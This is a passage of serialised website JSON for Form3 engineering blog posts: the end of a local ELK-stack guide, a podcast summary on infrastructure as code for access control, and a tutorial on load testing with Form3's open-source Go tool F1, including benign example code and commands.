}\n}",[],"code_block$6f1ad223-1509-4240-932d-6ec420acf215",{"variation":459,"version":460,"items":14403,"primary":14404,"id":14410,"slice_type":479,"slice_label":13},[],{"body":14405},[14406],{"type":396,"text":14407,"spans":14408},"In this example, the field YOUR_NUMERIC_FIELD in your JSON log message has been converted to an integer by Logstash.",[14409],{"start":2744,"end":1346,"type":780},"rich_text$81e2560c-95a7-4914-970d-87f79e532b1c",{"variation":459,"version":460,"items":14412,"primary":14413,"id":14426,"slice_type":479,"slice_label":13},[],{"body":14414},[14415,14417],{"type":465,"text":4469,"spans":14416},[],{"type":396,"text":14418,"spans":14419},"That's it - with the above config and Docker files, its pretty easy to get a local ELK stack running with docker-compose up. All of the config files reference in this post can be found at https:\u002F\u002Fgithub.com\u002Fandykuszyk\u002Flocal-elk, which you can also clone and use to run docker-compose up directly.",[14420,14421,14423],{"start":3944,"end":4365,"type":780},{"start":3849,"end":1431,"type":744,"data":14422},{"link_type":453,"url":14083,"target":456},{"start":14424,"end":14425,"type":780},269,286,"rich_text$fa534175-70d0-4b7e-8604-2d71f67077d9","Andy Kuszyk, Head of International Engineering at FORM3, talks us through running ELK locally to interrogate container logs.",{"id":14429,"uid":14430,"url":14431,"type":406,"href":14432,"tags":14433,"first_publication_date":14023,"last_publication_date":13445,"slugs":14434,"linked_documents":14436,"lang":386,"alternate_languages":14437,"data":14438},"alz1KhEAACkAUWg3","infrastructure-as-code-to-control-access-to-everything","\u002Fresources\u002Fengineering-blog\u002Finfrastructure-as-code-to-control-access-to-everything","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1KhEAACkAUWg3%22%29+%5D%5D",[],[14435],"ep-29-.tech---infrastructure-as-code-to-control-access-to-everything",[],[],{"title":14439,"excerpt":14440,"card_image":14441,"published_date":14446,"reading_time":1411,"tag":427,"dek":14440,"featured_image":14447,"about_form3":14452,"client_about_heading":13,"client_about_body":14453,"author_name":1277,"author_title":1278,"author_photo":14454,"author_bio":14457,"author_linkedin":14460,"slices":14462,"meta_title":14439,"meta_description":14584},".tech Podcast - Infrastructure as code to control access to everything","Everyone is frustrated of traditional IT processes of using a ticketing system such as Jira to request access to systems. They are cumbersome and it's hard to verify that the person made the change exactly as requested in the ticket. Travis talks us through how at Teleport they have solved this problem by leveraging infrastructure as code to manage access to all internal systems. He talks us through how you can go about migrating to infrastructure as code and what are some of the gotchas you need to watch out for.",{"dimensions":14442,"alt":14439,"copyright":13,"url":14443,"id":14444,"edit":14445},{"width":420,"height":420},"\u002F_prismic-media\u002F7ce17089643145a8-WmaPJ021cvOgPuZa_infrastructure-as-code-to-contr.png","WmaPJ021cvOgPuZa",{"x":17,"y":17,"zoom":18,"background":19},"2022-04-11",{"dimensions":14448,"alt":13,"copyright":13,"url":14449,"id":14450,"edit":14451},{"width":1270,"height":13834},"\u002F_prismic-media\u002F6a1cb10271e906c6-VkcnUdX95ZVc7dVm_2b28a8b2-3919-44e1-89f5-1160f12.png","VkcnUdX95ZVc7dVm",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":14455,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":14456},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[14458],{"type":396,"text":1287,"spans":14459},[],{"link_type":453,"key":14461,"url":1291,"target":456},"19739c11-0846-4446-a379-5e9bb4ee5816",[14463,14483,14506,14531,14555],{"variation":459,"version":481,"items":14464,"primary":14465,"id":14482,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":14466,"body":14470,"cta_label":1304,"cta_link":14473,"aside_type":13,"aside_image":14476,"aside_video":14477,"aside_video_poster":14478,"aside_video_reduced_motion":14479,"aside_video_url":13,"aside_embed":14480,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":14481,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[14467],{"type":465,"text":14468,"spans":14469},"Ep 29 .tech - Infrastructure as code to control access to everything",[],[14471],{"type":396,"text":1302,"spans":14472},[],{"link_type":453,"key":14474,"url":14475},"0f90fc7b-8db1-423f-bb41-aeb23a1712b8","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-29-tech-infrastructure-as-code-to-control-access-to-everything-AvKbjQP_",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$9cd62e99-4c01-431b-b416-d15bedaec891",{"variation":459,"version":460,"items":14484,"primary":14485,"id":14505,"slice_type":479,"slice_label":13},[],{"body":14486},[14487,14499],{"type":396,"text":14488,"spans":14489},"Travis Gary is running the IT department at Teleport. The access management tools that Teleport provide have been really important for companies going remote, who now have to embrace zero trust and change how they are doing their security.",[14490,14493,14496],{"start":17,"end":1998,"type":744,"data":14491},{"link_type":453,"url":14492,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Ftravis-g-92314a45\u002F",{"start":2015,"end":547,"type":744,"data":14494},{"link_type":453,"url":14495},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fgo-teleport\u002F",{"start":2753,"end":1421,"type":744,"data":14497},{"link_type":453,"url":14498,"target":456},"https:\u002F\u002Fgoteleport.com\u002Fwhat-is-zero-trust\u002F",{"type":396,"text":14500,"spans":14501},"Travis recently spoke at Conf42. His talk \"Using Infra-as-code, not Jira tickets to pass audits\" is all about moving off Jira ticket driven workflows to infrastructure as code. He will share more of his thoughts on this important topic with us in this episode",[14502],{"start":773,"end":9702,"type":744,"data":14503},{"link_type":453,"url":14504,"target":456},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=8XEzepW_Jtk","rich_text$240eb19e-5e6f-4fcb-96af-ae985257e153",{"variation":459,"version":460,"items":14507,"primary":14508,"id":14530,"slice_type":479,"slice_label":13},[],{"body":14509},[14510,14513,14517,14520,14526],{"type":465,"text":14511,"spans":14512},"Introduction to infrastructure as code (IaC)",[],{"type":396,"text":14514,"spans":14515},"As a system administrator, begin with thinking about your current workflows. You might receive a ticket, go log into environment that needs changing and then action that change manually in the console. This is sometimes known as ClickOps.",[14516],{"start":8756,"end":6100,"type":780},{"type":396,"text":14518,"spans":14519},"This process doesn't scale for a large amount of changes or large systems, as you might see in fast growing organisations. Furthermore, making manual changes through the console is neither secure, nor repeatable. Changes are not reviewed, so there are no guarantees they are made correctly or that they won't break anything.",[],{"type":396,"text":14521,"spans":14522},"Infrastructure as code (IaC) allows you to describe processes, including errors and rollbacks, into code. It is not generally a programming language, but a simple language that allows you to describe your resources. Under the hood, it calls to backend APIs and endpoints to create and manage these resources.",[14523],{"start":17,"end":1071,"type":744,"data":14524},{"link_type":453,"url":14525,"target":456},"https:\u002F\u002Fgoteleport.com\u002Fblog\u002Fdevops-access-controls\u002F",{"type":396,"text":14527,"spans":14528},"It is important to remember that IaC is stateful. It brings resources back to the their described configuration and state, regardless of what has previously been done to them manually or otherwise. IaC is very well suited to IT processes - what's defined in the code is what will exist. This is really easy to review and audit, breaking the disconnect between what a ticket prescribes and reality.",[14529],{"start":2040,"end":516,"type":477},"rich_text$56307f7c-10be-4195-9b03-b92148bd9790",{"variation":459,"version":460,"items":14532,"primary":14533,"id":14554,"slice_type":479,"slice_label":13},[],{"body":14534},[14535,14538,14541,14551],{"type":465,"text":14536,"spans":14537},"Infrastructure as code pipelines",[],{"type":396,"text":14539,"spans":14540},"In the IaC world, changes are made using pull requests and branches. This opens up the opportunity for automated testing of our changes, easing up the need for manual QA verification. All changes can then be reviewed by the necessary experts, but anyone can propose a change and submit it for review. The ability to propose changes without any gatekeeping is great for the developer agility of distributed teams.",[],{"type":396,"text":14542,"spans":14543},"Terraform is an example of an infrastructure as code tool. It allows a remote service to apply your changes. It can also generate a plan on an opened pull request, so you can see the changes that will be made, before they take place. This is another powerful mechanism for verification of current state vs proposed state.",[14544,14547],{"start":17,"end":2380,"type":744,"data":14545},{"link_type":453,"url":14546,"target":456},"https:\u002F\u002Fwww.terraform.io\u002Fintro",{"start":14548,"end":7882,"type":744,"data":14549},289,{"link_type":453,"url":14550,"target":456},"https:\u002F\u002Fwww.terraform.io\u002Flanguage\u002Fstate\u002Fpurpose",{"type":396,"text":14552,"spans":14553},"Keeping your infrastructure definitions in code also allows you to check when and who made changes, as well giving you the possibility to search through changes. This makes it easier to work asynchronously, accross locations and timezones.",[],"rich_text$e2f1cf27-d1d2-42f6-ad35-4509aaed3d95",{"variation":459,"version":460,"items":14556,"primary":14557,"id":14583,"slice_type":479,"slice_label":13},[],{"body":14558},[14559,14562,14565,14568,14571,14574,14577],{"type":465,"text":14560,"spans":14561},"Migrating to infrastructure as code",[],{"type":396,"text":14563,"spans":14564},"The migration process requires a cultural shift - you have to have full buy-in from your developers and consider the developer experience. A lot of the benefits of IaC migrations come at the tailend of the process so you really need support from your developers to go on the journey.",[],{"type":396,"text":14566,"spans":14567},"Making one change will often times be faster using ClickOps, but audits and security are much better in IaC. Initially, there might be a friction, but the gains will come as we shift left, making the process closer to the development cycle. The platform stability will improve with tighter control, making for quieter oncall rotas as well.",[],{"type":396,"text":14569,"spans":14570},"Comparatively to the cultural change, the technical changes are quite simple. Terraform is a declarative language that is relatively easy for engineers to pick up. From a security perspective, the burden moves from one space to another. Terraform still needs access to powerful credentials to be able to make changes to infrastructure.",[],{"type":396,"text":14572,"spans":14573},"At Teleport, the engineers have a \"hack yourself\" mentality so they have had engineers trying to play capture the flag games against infrastructure as code repositories. As you migrate to IaC, you need to consider that you are shifting security concerns from humans to the pipeline.",[],{"type":396,"text":14575,"spans":14576},"Generally, the aim of IaC is to remove all admin users from the system. This can make recovery when something goes wrong really difficult - the \"break glass procedure\" becomes difficult. One way Teleport has handled this is with an alerting pattern and admin roles. When something goes wrong, an incident is created and a limited amount of users can instantly take on the admin role to fix the platform.",[],{"type":396,"text":14578,"spans":14579},"Teleport run their own podcast titled \"Access control podcast\". It has some great episodes about IaC and security, so make sure to give it a listen if you liked this episode.",[14580],{"start":844,"end":3243,"type":744,"data":14581},{"link_type":453,"url":14582,"target":456},"https:\u002F\u002Fgoteleport.com\u002Fresources\u002Fpodcast\u002F","rich_text$6e8e2d0a-09be-4ad4-a0aa-c02aec0d086d","Travis tells us how we can overcome the frustration of traditional IT processes of using a ticketing system such as Jira to request access to systems. Listen to find out more.",{"id":14586,"uid":14587,"url":14588,"type":406,"href":14589,"tags":14590,"first_publication_date":14023,"last_publication_date":14591,"slugs":14592,"linked_documents":14594,"lang":386,"alternate_languages":14595,"data":14596},"alz1LhEAAC0AUWhH","conf42-golang-2022-load-testing-with-f1","\u002Fresources\u002Fengineering-blog\u002Fconf42-golang-2022-load-testing-with-f1","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1LhEAAC0AUWhH%22%29+%5D%5D",[],"2026-08-28T02:07:19+0000",[14593],"what-is-performance-testing",[],[],{"title":14597,"excerpt":14598,"card_image":14599,"published_date":14604,"reading_time":1411,"tag":206,"dek":14598,"featured_image":14605,"about_form3":14606,"client_about_heading":13,"client_about_body":14607,"author_name":1277,"author_title":1278,"author_photo":14608,"author_bio":14611,"author_linkedin":14614,"slices":14616,"meta_title":14597,"meta_description":14975},"Conf42 Golang 2022: Load testing with F1","Due to a lack of functionality in existing solutions, we wrote our own open source load testing tool, F1, at Form3 to test our asynchronous system. This talk gives you an introduction to performance testing, a comparison of common testing tools and a short introduction of how to use f1 to write your own testing scenarios in Go.",{"dimensions":14600,"alt":14597,"copyright":13,"url":14601,"id":14602,"edit":14603},{"width":420,"height":420},"\u002F_prismic-media\u002Fff9159f4994f3110-DeKK8qBPE_Jj-NQ-_conf42-golang-2022-load-testing.png","DeKK8qBPE_Jj-NQ-",{"x":17,"y":17,"zoom":18,"background":19},"2022-04-06",{},[],[],{"dimensions":14609,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":14610},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[14612],{"type":396,"text":1287,"spans":14613},[],{"link_type":453,"key":14615,"url":1291,"target":456},"95bf6da5-ec5e-4530-9b60-2a83aea7b7b4",[14617,14633,14641,14662,14673,14684,14695,14706,14764,14787,14800,14834,14845,14853,14864,14872,14883,14894,14902,14910,14918,14926,14934,14956],{"variation":459,"version":460,"items":14618,"primary":14619,"id":14631,"slice_type":14632,"slice_label":13},[],{"headline":13,"sub_headline":13,"embed":14620,"caption":13},{"embed_url":14621,"type":14622,"version":14623,"title":14624,"author_name":14625,"author_url":14626,"provider_name":284,"provider_url":14627,"thumbnail_url":14628,"thumbnail_width":14629,"thumbnail_height":3835,"html":14630,"height":5615,"width":12494},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=yKJ_h0K6liM","video","1.0","Load testing with F1 | Adelina Simion & Andy Kuszyk | Conf42 Golang 2022","Conf42","https:\u002F\u002Fwww.youtube.com\u002F@conf42","https:\u002F\u002Fwww.youtube.com\u002F","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FyKJ_h0K6liM\u002Fhqdefault.jpg",480,"\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FyKJ_h0K6liM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Load testing with F1 | Adelina Simion & Andy Kuszyk | Conf42 Golang 2022\">\u003C\u002Fiframe>","embed$9a987ac3-f63e-4877-863e-df0284fbdf82","embed",{"variation":459,"version":460,"items":14634,"primary":14635,"id":14640,"slice_type":479,"slice_label":13},[],{"body":14636},[14637],{"type":1097,"text":14638,"spans":14639,"direction":4053},"What is performance testing?",[],"rich_text$9adfd7c7-eb11-4437-b827-45d518f323b6",{"variation":459,"version":481,"items":14642,"primary":14643,"id":14661,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":14644,"body":14645,"cta_label":13,"cta_link":14649,"aside_type":488,"aside_image":14650,"aside_video":14656,"aside_video_poster":14657,"aside_video_reduced_motion":14658,"aside_video_url":13,"aside_embed":14659,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":14660,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[14646],{"type":396,"text":14647,"spans":14648,"direction":4053},"Performance testing is the general name for tests that check how the system behaves and performs. The purpose of these tests is to examine stability, scalability and reliability of your software and infrastructure. Generally, performance tests are integration tests that should test your system end-to-end. They live in the middle of the testing pyramid.",[],{"link_type":487},{"dimensions":14651,"alt":13,"copyright":13,"url":14653,"id":14654,"edit":14655},{"width":14652,"height":3604},760,"\u002F_prismic-media\u002Fa6157a146d690db1-6imSffqDxNhZEvJw_9616f291-7a0f-48c5-8383-0a22e32.png","6imSffqDxNhZEvJw",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$3505e6c3-50de-42a3-9ef7-92048c58b217",{"variation":459,"version":460,"items":14663,"primary":14664,"id":14672,"slice_type":479,"slice_label":13},[],{"body":14665},[14666,14669],{"type":396,"text":14667,"spans":14668},"Before performance testing, it’s important to determine your system’s business goals, so you can tell if your system behaves satisfactorily or not according to your customer needs. Often, performance testing is done on anticipated future load to see a system’s growth runway. This is important for a high volume payments platform like ours.",[],{"type":396,"text":14670,"spans":14671},"Under the umbrella of performance testing, we can look at 3 test subtypes.",[],"rich_text$698292a5-5161-4eb7-9dcd-c9a62524ff02",{"variation":459,"version":460,"items":14674,"primary":14675,"id":14683,"slice_type":479,"slice_label":13},[],{"body":14676},[14677,14680],{"type":1097,"text":14678,"spans":14679,"direction":4053},"Load tests",[],{"type":396,"text":14681,"spans":14682,"direction":4053},"Load testing tells us how many concurrent requests your system can handle. These tests should be performed all the time in order to ensure your system is behaving correctly, which is why it should be integrated into your continuous integration cycles.",[],"rich_text$d69ee9d8-f88e-4410-ba31-6b8c4763cbc3",{"variation":459,"version":460,"items":14685,"primary":14686,"id":14694,"slice_type":479,"slice_label":13},[],{"body":14687},[14688,14691],{"type":1097,"text":14689,"spans":14690,"direction":4053},"Spike tests",[],{"type":396,"text":14692,"spans":14693,"direction":4053},"A spike test checks the upper limits of your system by testing it under extreme loads. It includes a sudden, high ramp-up in users and laod.",[],"rich_text$5482ab6a-7f00-433e-861c-97268deada49",{"variation":459,"version":460,"items":14696,"primary":14697,"id":14705,"slice_type":479,"slice_label":13},[],{"body":14698},[14699,14702],{"type":1097,"text":14700,"spans":14701,"direction":4053},"Soak tests",[],{"type":396,"text":14703,"spans":14704,"direction":4053},"A soak test checks the sustainability of your system by testing it over a long period of time. It incluse a slow, gradual ramp-up over time.",[],"rich_text$7f422c96-f571-40f2-94b1-b81725f3da6e",{"variation":459,"version":460,"items":14707,"primary":14708,"id":14763,"slice_type":479,"slice_label":13},[],{"body":14709},[14710,14713,14722,14726,14732,14738,14742,14748,14757],{"type":1097,"text":14711,"spans":14712,"direction":4053},"Common tools",[],{"type":396,"text":14714,"spans":14715,"direction":4053},"Two of the most common popular tools that are used for test configuration and running areApache JMeter and Grafana K6. Let's have a look at each of them.",[14716,14719],{"start":709,"end":900,"type":744,"data":14717},{"link_type":453,"url":14718,"target":456},"https:\u002F\u002Fjmeter.apache.org\u002Findex.html",{"start":4147,"end":8118,"type":744,"data":14720},{"link_type":453,"url":14721,"target":456},"https:\u002F\u002Fk6.io\u002F",{"type":396,"text":14723,"spans":14724,"direction":4053},"Apache JMeter",[14725],{"start":17,"end":1403,"type":477},{"type":396,"text":14727,"spans":14728,"direction":4053},"JMeter is a popular, open source Java testing tool. It allows us to configure tests using a recording GUI and predefined templates. We can use long polling or another request to check whether an asynchronous operation is completed.",[14729],{"start":1508,"end":11763,"type":744,"data":14730},{"link_type":453,"url":14731,"target":456},"https:\u002F\u002Fjmeter.apache.org\u002Fusermanual\u002Fjmeter_proxy_step_by_step.html",{"type":396,"text":14733,"spans":14734,"direction":4053},"JMeter provides thread groups and a ramp up period in seconds load testing distributed systems.",[14735],{"start":3243,"end":4349,"type":744,"data":14736},{"link_type":453,"url":14737,"target":456},"https:\u002F\u002Fjmeter.apache.org\u002Fusermanual\u002Fjmeter_distributed_testing_step_by_step.html",{"type":396,"text":14739,"spans":14740,"direction":4053},"Grafana K6",[14741],{"start":17,"end":426,"type":477},{"type":396,"text":14743,"spans":14744,"direction":4053},"K6 is another popular load testing tool. It is an open source Go project. Tests are configured using a scripting language similar to JavaScript.",[14745],{"start":550,"end":2069,"type":744,"data":14746},{"link_type":453,"url":14747,"target":456},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fgetting-started\u002Frunning-k6\u002F",{"type":396,"text":14749,"spans":14750,"direction":4053},"K6 does not provide support for promises or async execution, but we can achieve async testing support using virtual users.",[14751,14754],{"start":515,"end":2019,"type":744,"data":14752},{"link_type":453,"url":14753,"target":456},"https:\u002F\u002Fgithub.com\u002Fgrafana\u002Fk6#script-execution",{"start":5149,"end":2069,"type":744,"data":14755},{"link_type":453,"url":14756,"target":456},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fgetting-started\u002Frunning-k6\u002F#adding-more-vus",{"type":396,"text":14758,"spans":14759,"direction":4053},"Load for the test is configured using scenarios in an options object, which states how many requests to run for each stage of the test. This allows us to configure linear and step ramp up.",[14760],{"start":844,"end":518,"type":744,"data":14761},{"link_type":453,"url":14762,"target":456},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fusing-k6\u002Foptions\u002F#scenarios","rich_text$21347ff9-a088-4989-b55a-c7a2d1df8cdd",{"variation":459,"version":460,"items":14765,"primary":14766,"id":14786,"slice_type":479,"slice_label":13},[],{"body":14767},[14768,14771,14774,14777,14780,14783],{"type":1097,"text":14769,"spans":14770,"direction":4053},"Our ideal load testing tool",[],{"type":396,"text":14772,"spans":14773,"direction":4053},"At Form3, we invest a lot of engineering time into performance testing our platform. We initially used k6 to develop and run these tests, but it did not fully fit our ideal load testing tool.",[],{"type":396,"text":14775,"spans":14776,"direction":4053},"Our ideal tool should allow us to:",[],{"type":582,"text":14778,"spans":14779,"direction":4053},"Easily write asynchronous tests, which integrate with our queues and services. This was not always easy to do in Javascript.",[],{"type":582,"text":14781,"spans":14782,"direction":4053},"A allow our engineers to write tests in Go, which is what they’re most comfortable in.",[],{"type":582,"text":14784,"spans":14785,"direction":4053},"Run different modes of load. As our platform operates under huge amounts of load, we want to be able to configure different kinds of load.",[],"rich_text$e989b475-a645-499f-9599-5adbe6e3f69d",{"variation":459,"version":460,"items":14788,"primary":14789,"id":14799,"slice_type":479,"slice_label":13},[],{"body":14790},[14791,14794],{"type":1097,"text":14792,"spans":14793,"direction":4053},"F1 example",[],{"type":396,"text":14795,"spans":14796,"direction":4053},"The existing solutions did not provide us any of our ideal load testing tool features, so this is why we decided to write our own solution and then open source it for the community to use. You can find it under form3tech-oss\u002Ff1.",[14797],{"start":1426,"end":1431,"type":744,"data":14798},{"link_type":453,"url":4367,"target":456},"rich_text$46d99ee3-aca0-4574-8f4b-b09a40d7a87a",{"variation":459,"version":481,"items":14801,"primary":14802,"id":14833,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":14803,"body":14804,"cta_label":13,"cta_link":14820,"aside_type":488,"aside_image":14821,"aside_video":14828,"aside_video_poster":14829,"aside_video_reduced_motion":14830,"aside_video_url":13,"aside_embed":14831,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":14832,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[14805,14811],{"type":396,"text":14806,"spans":14807,"direction":4053},"We have also created a demonstration\u002Ftutorial repository under form3tech-oss\u002Ff1-example. We will briefly discuss this example in this blogpost.",[14808],{"start":1734,"end":3671,"type":744,"data":14809},{"link_type":453,"url":14810,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1-example",{"type":396,"text":14812,"spans":14813,"direction":4053},"The example docker-compose.yml sets up a simple service which uses goaws local SQS mock. This is the environment we will be running tests on.",[14814,14817],{"start":1333,"end":555,"type":744,"data":14815},{"link_type":453,"url":14816,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1-example\u002Fblob\u002Fmaster\u002Fdocker-compose.yml",{"start":2630,"end":3671,"type":744,"data":14818},{"link_type":453,"url":14819,"target":456},"https:\u002F\u002Fgithub.com\u002Fp4tin\u002Fgoaws",{"link_type":487},{"dimensions":14822,"alt":13,"copyright":13,"url":14825,"id":14826,"edit":14827},{"width":14823,"height":14824},980,780,"\u002F_prismic-media\u002F8820eb49bea28d83--Ydeo3sC9rPI4HhS_a0ca2537-3e36-4595-9c65-32d2a16.png","-Ydeo3sC9rPI4HhS",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$7216a00c-3590-4651-aa02-90b9e7877e7f",{"variation":459,"version":460,"items":14835,"primary":14836,"id":14844,"slice_type":479,"slice_label":13},[],{"body":14837},[14838,14841],{"type":1097,"text":14839,"spans":14840,"direction":4053},"Writing tests",[],{"type":396,"text":14842,"spans":14843,"direction":4053},"Writing tests using f1 is easy - you need to import the library and declare it in the main() function of a new command. The f .Add method registers a new scenario to be run with f1.",[],"rich_text$ddf7af68-830c-4090-b4aa-150320c90bb1",{"variation":459,"version":460,"items":14846,"primary":14847,"id":14852,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":14848},[14849],{"type":563,"text":14850,"spans":14851},"import (\n\t\"net\u002Fhttp\"\n\t\"time\"\n\n\t\"github.com\u002Fform3tech-oss\u002Ff1\u002Fv2\u002Fpkg\u002Ff1\"\n\t\"github.com\u002Fform3tech-oss\u002Ff1\u002Fv2\u002Fpkg\u002Ff1\u002Ftesting\"\n)\n\nfunc main() {\n\tf := f1.New()\n\tf.Add(\"testScenario\", testScenario)\n\tf.Execute()\n}",[],"code_block$802e1e35-97b2-4671-ac39-b6c843b7569f",{"variation":459,"version":460,"items":14854,"primary":14855,"id":14863,"slice_type":479,"slice_label":13},[],{"body":14856},[14857],{"type":396,"text":14858,"spans":14859},"After setting up the SQS client and consuming messages from it, we can configure our run function which will be called by thef1test assertions.",[14860],{"start":967,"end":3243,"type":744,"data":14861},{"link_type":453,"url":14862,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1-example\u002Fblob\u002Fmaster\u002Fcmd\u002Ff1\u002Fmain.go#L22-L63","rich_text$914d7df4-b2d8-449c-b1b7-44f73c79b0eb",{"variation":459,"version":460,"items":14865,"primary":14866,"id":14871,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":14867},[14868],{"type":563,"text":14869,"spans":14870},"runFn := func(t *testing.T) {\n        \u002F\u002F Our test iteration code goes here.\n        res, err := http.Post(\"http:\u002F\u002Flocalhost:8080\u002Fpayments\", \"application\u002Fjson\", nil)\n        t.Require().NoError(err)\n        t.Require().Equal(http.StatusAccepted, res.StatusCode)\n        timer := time.NewTimer(10 * time.Second)\n        for {\n            select {\n            case \u003C-timer.C:\n                t.Require().Fail(\"no message received after timeout\")\n                return\n            case \u003C-messagesChan:\n                t.Logger().Info(\"message received, iteration success\")\n                return\n            }\n        }\n    }",[],"code_block$040f935c-4ed1-498b-8dc4-6f61b3a8a2c9",{"variation":459,"version":460,"items":14873,"primary":14874,"id":14882,"slice_type":479,"slice_label":13},[],{"body":14875},[14876],{"type":396,"text":14877,"spans":14878},"You can see the entire test scenario configuration on GitHub",[14879],{"start":1326,"end":2103,"type":744,"data":14880},{"link_type":453,"url":14881},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1-example\u002Fblob\u002Fmaster\u002Fcmd\u002Ff1\u002Fmain.go","rich_text$7b6a8821-f5a4-4a4f-8c48-498bb93f99ae",{"variation":459,"version":460,"items":14884,"primary":14885,"id":14893,"slice_type":479,"slice_label":13},[],{"body":14886},[14887,14890],{"type":1097,"text":14888,"spans":14889,"direction":4053},"Running tests",[],{"type":396,"text":14891,"spans":14892,"direction":4053},"Once our test is written we can compile the f1 binary to make it easier to run.",[],"rich_text$afe2018d-e654-4815-a821-a4e9a10cad10",{"variation":459,"version":460,"items":14895,"primary":14896,"id":14901,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14897},[14898],{"type":563,"text":14899,"spans":14900},"go build -o f1 .\u002Fcmd\u002Ff1\u002Fmain.go",[],"code_block$074097f5-0983-44a5-8e7a-0871e90e1189",{"variation":459,"version":460,"items":14903,"primary":14904,"id":14909,"slice_type":479,"slice_label":13},[],{"body":14905},[14906],{"type":396,"text":14907,"spans":14908},"Then, it's time to start up the example test environment consisting of our payments service and the mock SQS queue.",[],"rich_text$f75c67a7-cca0-4fad-845b-663aa9e9e394",{"variation":459,"version":460,"items":14911,"primary":14912,"id":14917,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14913},[14914],{"type":563,"text":14915,"spans":14916},"docker-compose up -d",[],"code_block$327b400b-9fab-4820-93d1-f4d222aea069",{"variation":459,"version":460,"items":14919,"primary":14920,"id":14925,"slice_type":479,"slice_label":13},[],{"body":14921},[14922],{"type":396,"text":14923,"spans":14924},"Finally, the configured scenario is easily run using the f1 CLI. This command will run the test at a constant rate for 10 seconds.",[],"rich_text$803fd30d-cdb9-42ef-b312-ed56e02f6ac4",{"variation":459,"version":460,"items":14927,"primary":14928,"id":14933,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14929},[14930],{"type":563,"text":14931,"spans":14932},".\u002Ff1 run constant testScenario -r 1\u002Fs -d 10s",[],"code_block$3282190b-db5d-4961-9d58-d4f84085033a",{"variation":459,"version":481,"items":14935,"primary":14936,"id":14955,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":14937,"body":14938,"cta_label":13,"cta_link":14942,"aside_type":488,"aside_image":14943,"aside_video":14950,"aside_video_poster":14951,"aside_video_reduced_motion":14952,"aside_video_url":13,"aside_embed":14953,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":14954,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[14939],{"type":396,"text":14940,"spans":14941,"direction":4053},"The command outputs some basic metrics for the test service.",[],{"link_type":487},{"dimensions":14944,"alt":13,"copyright":13,"url":14947,"id":14948,"edit":14949},{"width":14945,"height":14946},2048,1266,"\u002F_prismic-media\u002Fc8d8beb0d6551d29-wL1jf7sROsw_AAEu_a6603b5b-0e8e-4727-9a4b-7c681ae.png","wL1jf7sROsw_AAEu",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$51f24cf8-64b9-4148-8fa3-8fd52ad65263",{"variation":459,"version":460,"items":14957,"primary":14958,"id":14974,"slice_type":479,"slice_label":13},[],{"body":14959},[14960,14962,14965,14970],{"type":1097,"text":982,"spans":14961,"direction":4053},[],{"type":396,"text":14963,"spans":14964,"direction":4053},"Writing our tests in Go has been a huge game changer for our engineers, as it allows us to make use of goroutines and channels for test configuration.",[],{"type":396,"text":14966,"spans":14967,"direction":4053},"f1 is feature complete, we use it every day and you can too. It's freely available on GitHub.",[14968],{"start":549,"end":1508,"type":744,"data":14969},{"link_type":453,"url":4367,"target":456},{"type":396,"text":14971,"spans":14972,"direction":4053},"Happy load testing!",[14973],{"start":17,"end":2369,"type":477},"rich_text$356d00bd-72c8-4681-bfc0-de29c58fbeec","Due to a lack of functionality 